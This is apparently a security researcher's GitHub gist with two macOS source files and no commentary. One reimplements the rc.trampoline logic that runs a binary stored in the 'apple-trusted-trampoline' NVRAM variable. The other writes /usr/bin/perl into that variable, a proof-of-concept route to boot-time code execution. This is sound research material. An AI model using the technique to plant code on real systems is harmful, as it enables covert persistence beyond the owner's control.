Skip to content

Instantly share code, notes, and snippets.

@theevilbit
Created October 15, 2024 13:58
Show Gist options
  • Select an option

  • Save theevilbit/f84f4721acf83b80ef65f1d4e87ce1a8 to your computer and use it in GitHub Desktop.

Select an option

Save theevilbit/f84f4721acf83b80ef65f1d4e87ce1a8 to your computer and use it in GitHub Desktop.

Revisions

  1. theevilbit created this gist Oct 15, 2024.
    109 changes: 109 additions & 0 deletions rc.trampoline.m
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,109 @@
    #include <objc/runtime.h>
    #include <Foundation/Foundation.h>
    #include <IOKit/IOKitLib.h>
    #include <spawn.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <err.h>
    #include <sys/wait.h>
    #include <sys/stat.h>

    typedef uint32_t csr_config_t;

    #define CSR_ALLOW_UNRESTRICTED_FS (1 << 1)

    extern int csr_check(csr_config_t);
    extern int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize);

    void handle_error() {
    printf("Something went wrong, I'm lazy to implement an error for each case now...\n");
    exit(1);
    }

    int main() {
    io_registry_entry_t ioEntry;
    io_object_t ioObject;
    CFMutableDictionaryRef ioProperties = NULL;
    mach_port_t mainPort = 0;

    if (IOMasterPort(bootstrap_port, &mainPort) != KERN_SUCCESS) {
    handle_error();
    }

    ioEntry = IORegistryEntryFromPath(mainPort, "IODeviceTree:/options");
    if (!ioEntry) {
    handle_error();
    }

    ioObject = ioEntry;
    if (IORegistryEntryCreateCFProperties(ioEntry, &ioProperties, NULL, 0) != KERN_SUCCESS) {
    handle_error();
    }

    IOObjectRelease(ioObject);
    if (!ioProperties) {
    handle_error();
    }

    // Retrieve "apple-trusted-trampoline" property
    CFStringRef trampolineKey = CFSTR("apple-trusted-trampoline");
    NSString *trampolineValue = CFDictionaryGetValue(ioProperties, trampolineKey);

    if (!trampolineValue || ![trampolineValue length]) {
    handle_error();
    }

    // Generate file path in temporary directory
    NSString *tempDir = NSTemporaryDirectory();
    NSURL *fileURL = [NSURL fileURLWithPath:tempDir];
    NSURL *finalURL = [fileURL URLByAppendingPathComponent:@"apple-trusted-trampoline.bin"];
    NSString *filePath = [finalURL path];

    // Write trampoline to file
    BOOL writeSuccess = [trampolineValue writeToFile:filePath atomically:NO];
    if (!writeSuccess) {
    const char *filePathCStr = [filePath UTF8String];
    errx(1, "Failed to write binary file to %s, it must be writable.", filePathCStr);
    }


    chmod([filePath UTF8String], 0700);

    // Prepare to spawn a new process
    pid_t childPid = 0;
    posix_spawn_file_actions_t fileActions;
    posix_spawnattr_t spawnAttr;
    posix_spawn_file_actions_init(&fileActions);
    posix_spawnattr_init(&spawnAttr);
    posix_spawnattr_setflags(&spawnAttr, POSIX_SPAWN_START_SUSPENDED);

    const char *argv[] = {"apple-trusted-trampoline.bin", NULL};
    int spawnResult = posix_spawn(&childPid, [filePath UTF8String], &fileActions, &spawnAttr, (char *const *)argv, NULL);

    if (spawnResult != 0) {
    handle_error();
    }

    // Perform checks on the spawned process
    int csopsFlags = 0;
    int checkResult = csops(childPid, 0, &csopsFlags, sizeof(csopsFlags));
    int csrCheckResult = csr_check(CSR_ALLOW_UNRESTRICTED_FS);

    // Clean up and terminate child process if necessary
    NSString *unlinkPath = [finalURL path];
    unlink([unlinkPath UTF8String]);

    if (csrCheckResult != 0 && (checkResult != 0 || (csopsFlags & 0x4000000) == 0)) {
    fprintf(stderr, "Killing child, it did not pass the platform check.\n");
    kill(childPid, SIGKILL);
    exit(0);
    }

    // Resume child process and wait for it to finish
    kill(childPid, SIGCONT);
    int status = 0;
    waitpid(childPid, &status, 0);

    return 0;
    }
    81 changes: 81 additions & 0 deletions write-to-nvram.m
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,81 @@
    #include <IOKit/IOKitLib.h>
    #include <CoreFoundation/CoreFoundation.h>
    #include <stdio.h>
    #include <stdlib.h>

    // Function to read the file data into a CFData object
    CFDataRef readFileData(const char *filePath) {
    FILE *file = fopen(filePath, "rb"); // Open the file in binary mode
    if (!file) {
    printf("Unable to open file: %s\n", filePath);
    return NULL;
    }

    // Get file size
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    // Allocate memory to store the file contents
    unsigned char *buffer = (unsigned char *)malloc(fileSize);
    if (!buffer) {
    printf("Failed to allocate memory for file data.\n");
    fclose(file);
    return NULL;
    }

    // Read the file contents into the buffer
    fread(buffer, 1, fileSize, file);
    fclose(file);

    // Create CFData from the buffer
    CFDataRef data = CFDataCreate(kCFAllocatorDefault, buffer, fileSize);

    // Free the buffer since CFData now holds the file data
    free(buffer);

    return data;
    }

    int main() {
    io_registry_entry_t service;
    kern_return_t result;
    mach_port_t mainPort;

    // Step 1: Get the main port to communicate with the IOKit
    IOMainPort(kIOMasterPortDefault, &mainPort);

    // Step 2: Get the I/O registry entry from the path "IODeviceTree:/options"
    service = IORegistryEntryFromPath(mainPort, "IODeviceTree:/options");

    if (!service) {
    printf("Unable to find IORegistry entry at IODeviceTree:/options.\n");
    return -1;
    }

    // Step 3: Read the binary data from the file
    CFDataRef fileData = readFileData("/usr/bin/perl");
    if (!fileData) {
    IOObjectRelease(service);
    return -1;
    }

    // Step 4: Create the key for the new property
    CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, "apple-trusted-trampoline", kCFStringEncodingUTF8);

    // Step 5: Set the new binary property (CFData) in the registry at IODeviceTree:/options
    result = IORegistryEntrySetCFProperty(service, key, fileData);

    if (result == KERN_SUCCESS) {
    printf("Successfully set 'apple-trusted-trampoline' with the binary data\n");
    } else {
    printf("Failed to set property: %d\n", result);
    }

    // Step 6: Clean up and release resources
    CFRelease(key);
    CFRelease(fileData);
    IOObjectRelease(service);

    return 0;
    }